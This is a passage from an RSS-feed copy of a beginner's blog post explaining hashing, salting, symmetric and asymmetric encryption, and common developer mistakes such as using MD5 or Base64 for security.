&lt;li&gt;SHA-256&lt;/li&gt;
&lt;li&gt;SHA-1 (old and weak)&lt;/li&gt;
&lt;li&gt;MD5 (very weak)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Why hashing is used&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Password storage&lt;/li&gt;
&lt;li&gt;File integrity checks&lt;/li&gt;
&lt;li&gt;Digital signatures&lt;/li&gt;
&lt;li&gt;Blockchain&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Important rule&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;If a system stores your password as a plain hash, it is still not safe.&lt;br&gt;
Why? Because hackers can try billions of guesses per second.&lt;/p&gt;

&lt;p&gt;To make hashing safer, we add:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Salt (random data added before hashing)&lt;/li&gt;
&lt;li&gt;Slow hashing algorithms like bcrypt, Argon2, PBKDF2&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These slow functions make password cracking harder.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Why hashing matters in cybersecurity&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Security engineers must know:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;which hashing algorithms are safe&lt;/li&gt;
&lt;li&gt;which are deprecated&lt;/li&gt;
&lt;li&gt;and why simple hashing is not enough&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  3. Encryption (Two Way, Can Reverse)
&lt;/h2&gt;

&lt;p&gt;Encryption is used to protect data so only the right person or system can read it.&lt;/p&gt;

&lt;p&gt;Two types of encryption&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. Symmetric encryption&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqqv98rmsvzdpk1wq2aoy.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqqv98rmsvzdpk1wq2aoy.jpg" alt=" " width="800" height="449"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Same key is used to encrypt and decrypt.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Example: AES&lt;/li&gt;
&lt;li&gt;Used in: VPNs, disk encryption, WiFi protection&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;2. Asymmetric encryption&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F544qr0bkf1xqn60fopry.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F544qr0bkf1xqn60fopry.jpg" alt=" " width="800" height="449"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;One key encrypts, another key decrypts.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Example: RSA, ECC&lt;/li&gt;
&lt;li&gt;Used in: HTTPS, certificates, secure email&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Why encryption is important&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Protects passwords while sending (not storing)&lt;/li&gt;
&lt;li&gt;Protects bank information&lt;/li&gt;
&lt;li&gt;Protects communication between client and server&lt;/li&gt;
&lt;li&gt;Protects files, backups, and databases&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Encryption is the heart of modern cybersecurity.&lt;br&gt;
Without it, the internet would not be safe.&lt;/p&gt;




&lt;h2&gt;
  
  
  4. Real World Examples
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Example 1: Login page&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Password should be hashed before storing&lt;/li&gt;
&lt;li&gt;Data in transit should be encrypted (HTTPS)&lt;/li&gt;
&lt;li&gt;Sometimes data in tokens is encoded (Base64 in JWT)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Example 2: File download&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;File hash (SHA-256) checks if file was changed&lt;/li&gt;
&lt;li&gt;HTTPS encrypts the download&lt;/li&gt;
&lt;li&gt;Metadata might be encoded&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Example 3: API token&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Tokens are usually encoded for readability&lt;/li&gt;
&lt;li&gt;But the signature inside a JWT uses hashing (HMAC)&lt;/li&gt;
&lt;li&gt;The communication uses encryption (TLS)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Encoding, hashing, and encryption all work together but each has a different job.&lt;/p&gt;




&lt;h2&gt;
  
  
  5. Mistakes Developers Often Make
&lt;/h2&gt;

&lt;p&gt;I made many of these mistakes myself in my early years.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt; Thinking Base64 is security&lt;/li&gt;
&lt;li&gt; Using MD5 or SHA-1 for passwords&lt;/li&gt;
&lt;li&gt; Storing passwords without salt&lt;/li&gt;
&lt;li&gt; Using encryption without understanding key management&lt;/li&gt;
&lt;li&gt; Mixing encoding with hashing&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Understanding these mistakes helps you build more secure systems.&lt;/p&gt;




&lt;h2&gt;
  
  
  6. Summary (Easy to Remember)
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Encoding is for representation&lt;/li&gt;
&lt;li&gt;Hashing is for verification&lt;/li&gt;
&lt;li&gt;Encryption is for protection&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This is the most simple and clear way to remember the difference.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Final Words&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This is my second article in my cybersecurity learning journey. My goal is to understand every concept in a simple and practical way, without confusing terms. If you are also starting fresh, I hope this explanation helps you too.&lt;/p&gt;

&lt;p&gt;Next I will write more articles about Linux, cybersecurity tools, and networking, all in simple language from a developer point of view.&lt;/p&gt;

&lt;p&gt;Stay tuned, and thank you for reading.&lt;/p&gt;

</description>
      <category>algorithms</category>
      <category>cybersecurity</category>
      <category>learning</category>
    </item>
  </channel>
</rss>
